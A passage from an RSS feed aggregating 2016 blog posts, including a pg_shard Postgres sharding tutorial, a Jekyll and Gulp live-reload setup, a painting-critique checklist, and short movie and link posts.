&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href="https://en.wikipedia.org/wiki/List_of_lists_of_lists"&gt;List of lists of lists&lt;/a&gt;, the most meta wikipedia article.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href="https://en.wikipedia.org/wiki/Wikipedia:Unusual_articles"&gt;Wikipedia:Unusual_articles&lt;/a&gt;, a meta article, a list with the most unusual articles.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;</description><author>nutcroft</author><pubDate>Mon, 29 Feb 2016 02:00:00 GMT</pubDate><guid isPermaLink="true">https://nutcroft.mataroa.blog/blog/doubleplusgood-wikipedia/</guid></item><item><title>You're Not Ready</title><link>https://martinrue.com/you-are-not-ready/</link><description>I heard something a few days ago. You know, the kind of thing where you stop and think for a while, and then the significance starts to become really clear to you.</description><author>Martin Rue</author><pubDate>Mon, 29 Feb 2016 02:00:00 GMT</pubDate><guid isPermaLink="true">https://martinrue.com/you-are-not-ready/</guid></item><item><title>Cold weekend in Copenhagen</title><link>https://www.planetjones.net/blog/29-02-2016/cold-weekend-in-copenhagen.html</link><description>A winter weekend break to Copenhagen - home of the Little Mermaid and many fantastic restaurants.</description><author>Jonathan Jones homepage: planetjones.net</author><pubDate>Mon, 29 Feb 2016 02:00:00 GMT</pubDate><guid isPermaLink="true">https://www.planetjones.net/blog/29-02-2016/cold-weekend-in-copenhagen.html</guid></item><item><title>What is the point of the website if it kills my laptop?</title><link>https://muffinman.io/blog/what-is-the-point/</link><description>&lt;article class="article"&gt;&lt;p&gt;People need to realize that is not enough to have a nice website with a ton of animations and effects.
There is no point having such a website if I can&amp;#x27;t scroll it, while CPU and coolers go crazy.
And I use latest MacBook with maxed hardware. Can&amp;#x27;t imagine trying to use those websites on the old machine (or IE8-9).&lt;/p&gt;
&lt;p&gt;Get your performance together.&lt;/p&gt;&lt;/article&gt;</description><author>Muffin Man</author><pubDate>Mon, 29 Feb 2016 02:00:00 GMT</pubDate><guid isPermaLink="true">https://muffinman.io/blog/what-is-the-point/</guid></item><item><title/><link>/2016/02/28/</link><description>&lt;p&gt;&lt;em&gt;&lt;strong&gt;Notice&lt;/strong&gt;: Much of this post still applies, but now applies more directly to Citus. Since this post originally published, pg_shard is now deprecated. You can find some further guidance for sharding on the Citus blog and docs&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;Back in 2012 I wrote an overview of database sharding. Since then I&amp;rsquo;ve had a few questions about it, which have really increased in frequency over the last two months. As a result I thought I&amp;rsquo;d do a deeper dive with some actual hands on for sharding. Though for this hands on, because I do value my time I&amp;rsquo;m going to take advantage of &lt;code&gt;pg_shard&lt;/code&gt; rather than creating mechanisms from scratch.&lt;/p&gt;
&lt;p&gt;For those unfamiliar &lt;a href="https://github.com/citusdata/pg_shard/"&gt;pg_shard&lt;/a&gt; is an open source extension from &lt;a href="http://citusdata.com"&gt;Citus data&lt;/a&gt; who has a commerical product that you can think of is pg_shard++ (and probably much more). Pg_shard adds a little extra to let data automatically distribute to other Postgres tables (logical shards) and Postgres databases/instances (physical shards) thus letting you outgrow a single Postgres node pretty simply.&lt;/p&gt;
&lt;p&gt;Alright, enough talk about it, let&amp;rsquo;s get things up and running.&lt;/p&gt;
&lt;h3 id="build-install"&gt;
&lt;div&gt;
Build, install
&lt;/div&gt;
&lt;/h3&gt;
&lt;p&gt;&lt;em&gt;The rest assume you have Postgres.app, version 9.5 setup and are on a Mac, much of these steps could be easily adapted for other Postgres installs or OSes.&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;PATH=/Applications/Postgres.app/Contents/Versions/latest/bin/:$PATH make&lt;/p&gt;
&lt;p&gt;sudo PATH=/Applications/Postgres.app/Contents/Versions/latest/bin/:$PATH make install&lt;/p&gt;
&lt;p&gt;cp /Applications/Postgres.app/Contents/Versions/9.5/share/postgresql/postgresql.conf.sample /Applications/Postgres.app/Contents/Versions/9.5/share/postgresql/postgresql.conf.sample&lt;/p&gt;
&lt;p&gt;Edit your &lt;code&gt;postgresql.conf&lt;/code&gt;:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;#shared_preload_libraries = ''
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;TO:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;shared_preload_libraries = 'pg_shard'
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Then create a file in &lt;code&gt;/Users/craig/Library/Application\ Support/Postgres/var-9.5/pg_worker_list.conf&lt;/code&gt; where &lt;code&gt;craig&lt;/code&gt; is your username:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;# hostname port-number
localhost 5432
localhost 5433
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;You&amp;rsquo;ll also need to create a new Postgres instance:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;initdb -D /Users/craig/Library/Application\ Support/Postgres/var-9.5-2
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Then edit that &lt;code&gt;postgresql.conf&lt;/code&gt; inside that newly created folder with two main edits:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;port = 5432
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;To&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;port = 5433
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Finally setup our database then start it up:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;createdb instagram
postgres -D /Users/craig/Library/Application\ Support/Postgres/var-9.5-2
&lt;/code&gt;&lt;/pre&gt;
&lt;h3 id="setup"&gt;
&lt;div&gt;
Setup
&lt;/div&gt;
&lt;/h3&gt;
&lt;p&gt;Now you should have two running instances of Postgres, now let&amp;rsquo;s finally turn on the pg_shard extension, create some tables and see what we have. First connect to your main running Postgres instance, so in this case the the instagram database we first created &lt;code&gt;psql instagram&lt;/code&gt;, then let&amp;rsquo;s set things up:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;CREATE EXTENSION pg_shard;
CREATE TABLE customer_reviews (customer_id TEXT NOT NULL, review_date DATE, review_rating INTEGER, product_id CHAR(10));
CREATE TABLE
Time: 4.734 ms
SELECT master_create_distributed_table(table_name := 'customer_reviews', partition_column := 'customer_id');
master_create_distributed_table
---------------------------------
(1 row)
SELECT master_create_worker_shards(table_name := 'customer_reviews', shard_count := 16, replication_factor := 2);
master_create_worker_shards
-----------------------------
(1 row)
&lt;/code&gt;&lt;/pre&gt;
&lt;h3 id="understanding-and-using"&gt;
&lt;div&gt;
Understanding and using
&lt;/div&gt;
&lt;/h3&gt;
&lt;p&gt;So that was a lot of initial setup. But now we have an application that could in theory scale to a shared application across 16 instances. If you want a refresher, there&amp;rsquo;s a difference between physical and logical shards. In this case above we have 16 logical ones and it&amp;rsquo;s replicated across 2 physical Postgres instances albeit on the same instance.&lt;/p&gt;
&lt;p&gt;Alright so a little more poking under the covers to see what happened before we actually start doing something with our data. If you&amp;rsquo;re still connected go ahead and run &lt;code&gt;\d&lt;/code&gt;, and you should see:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt; List of relations
Schema | Name | Type | Owner
--------+------------------------+-------+-------
public | customer_reviews | table | craig
public | customer_reviews_10000 | table | craig
public | customer_reviews_10001 | table | craig
public | customer_reviews_10002 | table | craig
public | customer_reviews_10003 | table | craig
public | customer_reviews_10004 | table | craig
public | customer_reviews_10005 | table | craig
public | customer_reviews_10006 | table | craig
public | customer_reviews_10007 | table | craig
public | customer_reviews_10008 | table | craig
public | customer_reviews_10009 | table | craig
public | customer_reviews_10010 | table | craig
public | customer_reviews_10011 | table | craig
public | customer_reviews_10012 | table | craig
public | customer_reviews_10013 | table | craig
public | customer_reviews_10014 | table | craig
public | customer_reviews_10015 | table | craig
(17 rows)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;You can see that under the cover there&amp;rsquo;s a lot more &lt;code&gt;customer_reviews&lt;/code&gt; tables, in reality you don&amp;rsquo;t have to think about these or do anything with them. But just for reference they&amp;rsquo;re just plain ole Postgres tables under the cover. You can query them and poke at the data. The now mystical &lt;code&gt;customer_reviews&lt;/code&gt; will actually roll up the data across all your logical shards (tables) and physical shards (spanning across machines).&lt;/p&gt;
&lt;p&gt;&lt;em&gt;It&amp;rsquo;s also of note that in production you might not actually use your primary DB as a worker, we did this more for expediency in setting it up on a local Mac. More typically you&amp;rsquo;d have 2 or more workers which are not the same a the primary, these were the ports we setup in our &lt;code&gt;pg_worker_list.conf&lt;/code&gt;.&lt;/em&gt; A common setup would look something more like:&lt;/p&gt;
&lt;p&gt;&lt;img alt="" src="https://s3.amazonaws.com/f.cl.ly/items/3T2N2Q1K041g0a0L0j03/Untitled.png?v=7df00f6b" /&gt;&lt;/p&gt;
&lt;p&gt;So now start inserting away:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;INSERT INTO customer_reviews (customer_id, review_rating) VALUES ('HN802', 5);
INSERT INTO customer_reviews (customer_id, review_rating) VALUES ('FA2K1', 10);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;For extra homework on your own you can now go and poke at where the underlying data actually surfaced.&lt;/p&gt;
&lt;h3 id="conclusion"&gt;
&lt;div&gt;
Conclusion
&lt;/div&gt;
&lt;/h3&gt;
&lt;p&gt;Yes, there&amp;rsquo;s a number of limitations that you can learn a bit more about over on the &lt;a href="https://github.com/citusdata/pg_shard#limitations"&gt;github repo for pg_shard&lt;/a&gt;. Though even with those it&amp;rsquo;s very usable as is, and let&amp;rsquo;s you get quite far in prepping an app for sharding. While I will say that all apps think they&amp;rsquo;ll need sharding and few actually do, given &lt;code&gt;pg_shard&lt;/code&gt; it&amp;rsquo;s minimal extra effort now to plan for such scaling should you need it.&lt;/p&gt;
&lt;p&gt;Up next we&amp;rsquo;ll look at how it&amp;rsquo;d work with a few languages, so you can get an idea of the end to end experience.&lt;/p&gt;</description><author>CRAIG KERSTIENS</author><pubDate>Sun, 28 Feb 2016 22:55:56 GMT</pubDate><guid isPermaLink="true">/2016/02/28/</guid></item><item><title>expressjs gratitude</title><link>https://peterlyons.com/problog/2016/02/expressjs-gratitude/</link><description>&lt;p&gt;There's some drama in the &lt;a href="http://expressjs.com/"&gt;expressjs&lt;/a&gt; world today and I just wanted to express my thanks to all the contributors and supporters. ExpressJS has been involved in some capacity in probably 100% of my independent consulting projects since 2014 and the 2 full-time gigs prior to that as well. ExpressJS pays my bills!&lt;/p&gt;
&lt;p&gt;Specifically I want to thank &lt;a href="https://github.com/dougwilson"&gt;Doug Wilson&lt;/a&gt;, &lt;a href="https://github.com/jonathanong"&gt;Jonathan Ong&lt;/a&gt; and &lt;a href="https://github.com/tj"&gt;TJ Holowaychuk&lt;/a&gt; for their great work on this project and the ecosystem around it.&lt;/p&gt;</description><author>Pete's Points</author><pubDate>Sun, 28 Feb 2016 21:51:45 GMT</pubDate><guid isPermaLink="true">https://peterlyons.com/problog/2016/02/expressjs-gratitude/</guid></item><item><title>The Danish Girl</title><link>https://olshansky.info/movie/the_danish_girl/</link><description>Olshansky's review of The Danish Girl</description><author>🦉 olshansky 🦁</author><pubDate>Sun, 28 Feb 2016 10:30:21 GMT</pubDate><guid isPermaLink="true">https://olshansky.info/movie/the_danish_girl/</guid></item><item><title>$ curl poptart.spinda.net</title><link>https://spindas.dreamwidth.org/2765.html</link><description>&lt;img alt="" src="https://www.spinda.net/files/blog/nya.gif" /&gt;&lt;br /&gt;&lt;br /&gt;&lt;img alt="comment count unavailable" height="12" src="https://www.dreamwidth.org/tools/commentcount?user=spindas&amp;amp;ditemid=2765" style="vertical-align: middle;" width="30" /&gt; comments</description><author>spinda's dreamwidth</author><pubDate>Sun, 28 Feb 2016 02:17:14 GMT</pubDate><guid isPermaLink="true">https://spindas.dreamwidth.org/2765.html</guid></item><item><title>5 signs you are ready for that Junior Rails Developer position</title><link>https://goshacmd.com/am-i-ready-for-that-junior-rails-developer-position/</link><author>Gosha Spark</author><pubDate>Sun, 28 Feb 2016 02:00:00 GMT</pubDate><guid isPermaLink="true">https://goshacmd.com/am-i-ready-for-that-junior-rails-developer-position/</guid></item><item><title>February 2016 Projects</title><link>https://venam.net/blog/programming/2016/02/28/february-projects.html</link><description>Hello fellow readers, This post is about the recent projects I've been working on and planning.</description><author>Venam's Blog — Patrick Louis (Lebanon)</author><pubDate>Sat, 27 Feb 2016 19:00:00 GMT</pubDate><guid isPermaLink="true">https://venam.net/blog/programming/2016/02/28/february-projects.html</guid></item><item><title>Don Jon</title><link>https://olshansky.info/movie/don_jon/</link><description>Olshansky's review of Don Jon</description><author>🦉 olshansky 🦁</author><pubDate>Sat, 27 Feb 2016 07:36:08 GMT</pubDate><guid isPermaLink="true">https://olshansky.info/movie/don_jon/</guid></item><item><title>The Intern</title><link>https://olshansky.info/movie/the_intern/</link><description>Olshansky's review of The Intern</description><author>🦉 olshansky 🦁</author><pubDate>Sat, 27 Feb 2016 06:28:11 GMT</pubDate><guid isPermaLink="true">https://olshansky.info/movie/the_intern/</guid></item><item><title>Jekyll Read more link</title><link>https://muffinman.io/blog/jekyll-read-more-link/</link><description>&lt;article class="article"&gt;&lt;div class="notice notice--warning"&gt;Please note that I&amp;#x27;m not using Jekyll anymore, so this post might be outdated.&lt;/div&gt;&lt;p&gt;It is nice to use &lt;code&gt;post.excerpt&lt;/code&gt; instead of &lt;code&gt;post.content&lt;/code&gt;
on your Jekyll home page, but then users can&amp;#x27;t see if there
is more to read until they open the whole post.&lt;/p&gt;
&lt;p&gt;To add &lt;code&gt;Read more&lt;/code&gt; link, you can use this simple snippet.&lt;/p&gt;
&lt;pre class="language-shell"&gt;&lt;code class="language-shell code-highlight"&gt;&lt;span class="code-line"&gt;&lt;span class="token punctuation"&gt;{&lt;/span&gt;% &lt;span class="token keyword"&gt;if&lt;/span&gt; post.excerpt &lt;span class="token operator"&gt;!=&lt;/span&gt; post.content %&lt;span class="token punctuation"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;span class="code-line"&gt;    &lt;span class="token operator"&gt;&amp;lt;&lt;/span&gt;a &lt;span class="token assign-left variable"&gt;href&lt;/span&gt;&lt;span class="token operator"&gt;=&lt;/span&gt;&lt;span class="token string"&gt;&amp;quot;{{ site.baseurl }}{{ post.url }}&amp;quot;&lt;/span&gt;&lt;span class="token operator"&gt;&amp;gt;&lt;/span&gt;Read more&lt;span class="token operator"&gt;&amp;lt;&lt;/span&gt;/a&lt;span class="token operator"&gt;&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;span class="code-line"&gt;&lt;span class="token punctuation"&gt;{&lt;/span&gt;% endif %&lt;span class="token punctuation"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/article&gt;</description><author>Muffin Man</author><pubDate>Sat, 27 Feb 2016 02:00:00 GMT</pubDate><guid isPermaLink="true">https://muffinman.io/blog/jekyll-read-more-link/</guid></item><item><title>Jekyll and Gulp workflow</title><link>https://muffinman.io/blog/jekyll-gulp-workflow/</link><description>&lt;article class="article"&gt;&lt;div class="notice notice--warning"&gt;Please note that I&amp;#x27;m not using Jekyll anymore, so this post might be outdated.&lt;/div&gt;&lt;h2 id="update-november-2017"&gt;Update, November 2017 &lt;a class="anchor-link" href="#update-november-2017"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;I don&amp;#x27;t use this setup anymore, it might be outdated, proceed with caution.&lt;/p&gt;
&lt;h2 id="original-post"&gt;Original post &lt;a class="anchor-link" href="#original-post"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;As you probably know this blog is powered by &lt;a href="http://jekyllrb.com/"&gt;Jekyll&lt;/a&gt;.
It is a really nice platform, but it lacks a few things I&amp;#x27;m used to during development.
First one is live reload on file changes (and injecting CSS), using SASS, autoprefixer, ES6...&lt;/p&gt;
&lt;p&gt;I tried to find a boilerplate, but everything I found didn&amp;#x27;t match my needs.
Usually people would run gulp tasks for SASS and JavaScript files, and on change
run &lt;code&gt;jekyll build&lt;/code&gt;, which is insanely slow.
They would use &lt;a href="https://www.browsersync.io/"&gt;BrowserSync&lt;/a&gt; to serve &lt;code&gt;_site&lt;/code&gt; folder.&lt;/p&gt;
&lt;p&gt;So I did what programmers do - written my own. I quickly made usual gulp tasks:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;styles&lt;/code&gt; - to compile SASS and autoprefix it&lt;/li&gt;
&lt;li&gt;&lt;code&gt;scripts&lt;/code&gt; - to transpile ES6 goodness, and concatenate JavaScript files&lt;/li&gt;
&lt;li&gt;&lt;code&gt;serve&lt;/code&gt; - to start local server, watch for changes and auto reload&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;First thing I did is that I was running &lt;code&gt;jekyll serve&lt;/code&gt; in one terminal,
and &lt;code&gt;gulp serve&lt;/code&gt; with BrowserSync in the other.
This was working decently, but I wanted to run only one command, and let the tasks do everything for me.&lt;/p&gt;
&lt;p&gt;That is where node child process comes in.&lt;/p&gt;
&lt;pre class="language-tsx"&gt;&lt;code class="language-tsx code-highlight"&gt;&lt;span class="code-line"&gt;&lt;span class="token keyword"&gt;import&lt;/span&gt; &lt;span class="token imports"&gt;childProcess&lt;/span&gt; &lt;span class="token keyword"&gt;from&lt;/span&gt; &lt;span class="token string"&gt;&amp;#x27;child_process&amp;#x27;&lt;/span&gt;&lt;span class="token punctuation"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;span class="code-line"&gt;
&lt;/span&gt;&lt;span class="code-line"&gt;&lt;span class="token keyword"&gt;const&lt;/span&gt; spawn &lt;span class="token operator"&gt;=&lt;/span&gt; childProcess&lt;span class="token punctuation"&gt;.&lt;/span&gt;&lt;span class="token property-access"&gt;spawn&lt;/span&gt;&lt;span class="token punctuation"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;span class="code-line"&gt;
&lt;/span&gt;&lt;span class="code-line"&gt;gulp&lt;span class="token punctuation"&gt;.&lt;/span&gt;&lt;span class="token method function property-access"&gt;task&lt;/span&gt;&lt;span class="token punctuation"&gt;(&lt;/span&gt;&lt;span class="token string"&gt;&amp;#x27;jekyll&amp;#x27;&lt;/span&gt;&lt;span class="token punctuation"&gt;,&lt;/span&gt; &lt;span class="token keyword"&gt;function&lt;/span&gt; &lt;span class="token punctuation"&gt;(&lt;/span&gt;&lt;span class="token punctuation"&gt;)&lt;/span&gt;&lt;span class="token punctuation"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;span class="code-line"&gt;  &lt;span class="token keyword"&gt;const&lt;/span&gt; jekyll &lt;span class="token operator"&gt;=&lt;/span&gt; &lt;span class="token function"&gt;spawn&lt;/span&gt;&lt;span class="token punctuation"&gt;(&lt;/span&gt;&lt;span class="token string"&gt;&amp;#x27;jekyll&amp;#x27;&lt;/span&gt;&lt;span class="token punctuation"&gt;,&lt;/span&gt; &lt;span class="token punctuation"&gt;[&lt;/span&gt;&lt;span class="token string"&gt;&amp;#x27;serve&amp;#x27;&lt;/span&gt;&lt;span class="token punctuation"&gt;]&lt;/span&gt;&lt;span class="token punctuation"&gt;,&lt;/span&gt; &lt;span class="token punctuation"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;span class="code-line"&gt;    stdio&lt;span class="token operator"&gt;:&lt;/span&gt; &lt;span class="token string"&gt;&amp;#x27;inherit&amp;#x27;&lt;/span&gt;
&lt;/span&gt;&lt;span class="code-line"&gt;  &lt;span class="token punctuation"&gt;}&lt;/span&gt;&lt;span class="token punctuation"&gt;)&lt;/span&gt;&lt;span class="token punctuation"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;span class="code-line"&gt;&lt;span class="token punctuation"&gt;}&lt;/span&gt;&lt;span class="token punctuation"&gt;)&lt;/span&gt;&lt;span class="token punctuation"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This task spawns a child process from gulp.
Nice thing is that we can start it, and gulp will kill it on exit.
Now we have up and running Jekyll server, and proxy it to BrowserSync.&lt;/p&gt;
&lt;p&gt;But darn, injecting CSS files didn&amp;#x27;t really work. Server was expeting CSS file
to come from &lt;code&gt;/css/style.css&lt;/code&gt;, but &lt;code&gt;browserSync.stream&lt;/code&gt; in gulp pipe would
inject it from the &lt;code&gt;_sass&lt;/code&gt; folder. I solved this by copying css file to the &lt;code&gt;.tmp/css&lt;/code&gt; and
adding &lt;code&gt;.tmp&lt;/code&gt; to the &lt;code&gt;serveStatic&lt;/code&gt; option of the BrowserSync.&lt;/p&gt;
&lt;p&gt;One thing I should mention, that I keep my SASS files in the &lt;code&gt;_sass&lt;/code&gt; folder, and
JavaScript in the &lt;code&gt;_js&lt;/code&gt; one.&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Gulp watches changes on SASS/JS, and compiles them into &lt;code&gt;public&lt;/code&gt; folder.&lt;/li&gt;
&lt;li&gt;Then &lt;code&gt;jekyll serve&lt;/code&gt; takes them and moves them to &lt;code&gt;_site&lt;/code&gt;. Jekyll also takes care of &lt;code&gt;.md&lt;/code&gt; files.&lt;/li&gt;
&lt;li&gt;Gulp watches changes on &lt;code&gt;_site&lt;/code&gt; and reloads the browser if html/js is changed.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Complete code is available &lt;a href="https://github.com/Stanko/Stanko.github.io"&gt;here&lt;/a&gt;.&lt;/p&gt;
&lt;h3 id="tldr"&gt;TL;DR &lt;a class="anchor-link" href="#tldr"&gt;#&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;To enable live reload, SASS and JS transpiling in your Jekyll development grab my
&lt;a href="https://github.com/Stanko/Stanko.github.io/blob/master/gulpfile.babel.js"&gt;gulpfile.babel.js&lt;/a&gt;,
&lt;a href="https://github.com/Stanko/Stanko.github.io/blob/master/package.json"&gt;package.json&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Add this to your &lt;code&gt;_config.yml&lt;/code&gt;&lt;/p&gt;
&lt;pre class="language-js"&gt;&lt;code class="language-js code-highlight"&gt;&lt;span class="code-line"&gt;&lt;span class="token literal-property property"&gt;exclude&lt;/span&gt;&lt;span class="token operator"&gt;:&lt;/span&gt; &lt;span class="token punctuation"&gt;[&lt;/span&gt;
&lt;/span&gt;&lt;span class="code-line"&gt;  &lt;span class="token string"&gt;&amp;#x27;node_modules&amp;#x27;&lt;/span&gt;&lt;span class="token punctuation"&gt;,&lt;/span&gt;
&lt;/span&gt;&lt;span class="code-line"&gt;  &lt;span class="token string"&gt;&amp;#x27;gulpfile.babel.js&amp;#x27;&lt;/span&gt;&lt;span class="token punctuation"&gt;,&lt;/span&gt;
&lt;/span&gt;&lt;span class="code-line"&gt;  &lt;span class="token string"&gt;&amp;#x27;package.json&amp;#x27;&lt;/span&gt;&lt;span class="token punctuation"&gt;,&lt;/span&gt;
&lt;/span&gt;&lt;span class="code-line"&gt;  &lt;span class="token string"&gt;&amp;#x27;_sass&amp;#x27;&lt;/span&gt;&lt;span class="token punctuation"&gt;,&lt;/span&gt;
&lt;/span&gt;&lt;span class="code-line"&gt;  &lt;span class="token string"&gt;&amp;#x27;_js&amp;#x27;&lt;/span&gt;&lt;span class="token punctuation"&gt;,&lt;/span&gt;
&lt;/span&gt;&lt;span class="code-line"&gt;  &lt;span class="token string"&gt;&amp;#x27;.sass-cache&amp;#x27;&lt;/span&gt;
&lt;/span&gt;&lt;span class="code-line"&gt;&lt;span class="token punctuation"&gt;]&lt;/span&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Run &lt;code&gt;npm install&lt;/code&gt; then &lt;code&gt;gulp&lt;/code&gt; when it is finished and open &lt;code&gt;http://localhost:9000&lt;/code&gt; in your browser.
Then write your posts and enjoy much smoother workflow.&lt;/p&gt;&lt;/article&gt;</description><author>Muffin Man</author><pubDate>Sat, 27 Feb 2016 02:00:00 GMT</pubDate><guid isPermaLink="true">https://muffinman.io/blog/jekyll-gulp-workflow/</guid></item><item><title>Questions to Ask</title><link>https://johnj.com/posts/questions-to-ask/</link><description>&lt;div class="outline-2" id="outline-container-headline-1"&gt;
&lt;h2 id="headline-1"&gt;
Questions to Ask
&lt;/h2&gt;
&lt;div class="outline-text-2" id="outline-text-headline-1"&gt;
&lt;p&gt;&lt;em&gt;… of a painting in progress, with strategies for recovery.&lt;/em&gt;&lt;/p&gt;
&lt;figure&gt;





&lt;a href="https://johnj.com/pole-plein-air.jpg"&gt;&lt;img class="resize" src="https://johnj.com/pole-plein-air_hu_23b52070db133117.jpg" style="width: 700px; border: 0px solid black;" /&gt;&lt;/a&gt;


&lt;figcaption&gt;
Diagrammatic landscape sketch made "en plein air" at the Geographic South Pole
&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;p&gt;
I’ve been learning a lot lately by studying books, blogs, and doing
studies from life. It’s made me reflect upon my past strategies (or
lack thereof) for making artworks.&lt;/p&gt;
&lt;p&gt;
These are roughly in order of importance, in that if the answer to a
previous question is, “no,” it’s probably not worth spending too much
time on the current question.&lt;/p&gt;
&lt;p&gt;
&lt;strong&gt;Is the concept, content or intent clear in your mind, and is it what you want?&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;
If not, go back to the drawing board:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;make studies from life;&lt;/li&gt;
&lt;li&gt;generate ideas in sketchbooks;&lt;/li&gt;
&lt;li&gt;look to other artists’ work for inspiration;&lt;/li&gt;
&lt;li&gt;look to previous successes and failures to see what the next step
is.&lt;/li&gt;
&lt;li&gt;Consider destruction, deferral, or radical transformation of the
current piece.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;Does the overall design make sense?&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Large Shapes and Edges&lt;/li&gt;
&lt;li&gt;Composition&lt;/li&gt;
&lt;li&gt;Perspective&lt;/li&gt;
&lt;li&gt;Arrangement of objects in the illusionistic space of the piece&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;If not, fix at the level of drawing (shapes/outlines/values).  Also
ask, Is there anything that could be removed to make the work
stronger?&lt;/p&gt;
&lt;p&gt;
&lt;strong&gt;Do the values communicate the right forms well?&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;
If not, fix at the level of drawing (values). Check:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Light sources and the nature of any reflections (specular vs. diffuse)&lt;/li&gt;
&lt;li&gt;Accuracy / illusion of form&lt;/li&gt;
&lt;li&gt;Level of detail&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;Do the colors work in harmony with each other and with the other concerns in the painting?&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;
If not, repaint one or more areas, maintaining value but shifting hue.&lt;/p&gt;
&lt;p&gt;
&lt;strong&gt;Do the marks and surface quality relate to the intent/energy/mood?  Are they interesting?&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;
No matter how “objective” the intent, at some level all paintings and
drawings are abstract. They should be beautiful at any distance or
level of “magnification.”&lt;/p&gt;
&lt;p&gt;
If not, re-work those areas, using strategies of sanding, scraping,
erasure, or starting over.&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;</description><author>John Jacobsen</author><pubDate>Thu, 25 Feb 2016 02:00:00 GMT</pubDate><guid isPermaLink="true">https://johnj.com/posts/questions-to-ask/</guid></item><item><title>Links - February 25th, 2016</title><link>https://faingezicht.com/links/2016/02/25/links/</link><description>It seems like this is a good reading week for me. A ton of articles, plus about to finish two books. Can't complain.</description><author>Avy Faingezicht</author><pubDate>Thu, 25 Feb 2016 02:00:00 GMT</pubDate><guid isPermaLink="true">https://faingezicht.com/links/2016/02/25/links/</guid></item><item><title>Unofficial witty cloud module documentation with nodemcu firmware</title><link>https://anisse.astier.eu/unofficial-witty-cloud-module-documentation-with-nodemcu-firmware.html</link><description>&lt;p&gt;I wanted to try my hand with ESP8266 modules, so I got &lt;a href="http://www.aliexpress.com/item/ESP8266-serial-WIFI-Witty-cloud-Development-Board-ESP-12F-module/32557886226.html"&gt;a witty cloud development board&lt;/a&gt;. It's running a proprietary firmware from gizwits which I &lt;a href="/static/witty-flash-backup.bin.gz"&gt;backed up&lt;/a&gt; if anyone wants to look at it.&lt;/p&gt;
&lt;p&gt;The board is in two parts: programming board("cape") with ch340g usb serial and 3 …&lt;/p&gt;</description><author>Linux Engineer's random thoughts</author><pubDate>Thu, 25 Feb 2016 01:00:00 GMT</pubDate><guid isPermaLink="true">https://anisse.astier.eu/unofficial-witty-cloud-module-documentation-with-nodemcu-firmware.html</guid></item><item><title>LGA</title><link>https://rybakov.com/blog/lga/</link><description>&lt;figure class="full"&gt;



&lt;img alt="" class="lazyload" src="../images/hiq/_SDI0485bb.jpg" /&gt;




&lt;/figure&gt;
&lt;p&gt;Laboratoire Médical Guinéo-Allemand. Der weißeste Ort in Conakry.&lt;/p&gt;</description><author>Blogs on Michail Rybakov</author><pubDate>Wed, 24 Feb 2016 22:07:46 GMT</pubDate><guid isPermaLink="true">https://rybakov.com/blog/lga/</guid></item><item><title>Links - February 24th, 2016</title><link>https://faingezicht.com/links/2016/02/24/links/</link><description/><author>Avy Faingezicht</author><pubDate>Wed, 24 Feb 2016 02:00:00 GMT</pubDate><guid isPermaLink="true">https://faingezicht.com/links/2016/02/24/links/</guid></item><item><title>The JavaScript Event Loop Presentation (2016 Edition)</title><link>https://thomashunter.name/posts/2016-02-24-the-javascript-event-loop-presentation-2016</link><author>Thomas Hunter II</author><pubDate>Wed, 24 Feb 2016 02:00:00 GMT</pubDate><guid isPermaLink="true">https://thomashunter.name/posts/2016-02-24-the-javascript-event-loop-presentation-2016</guid></item><item><title>What almost nobody is telling you about the 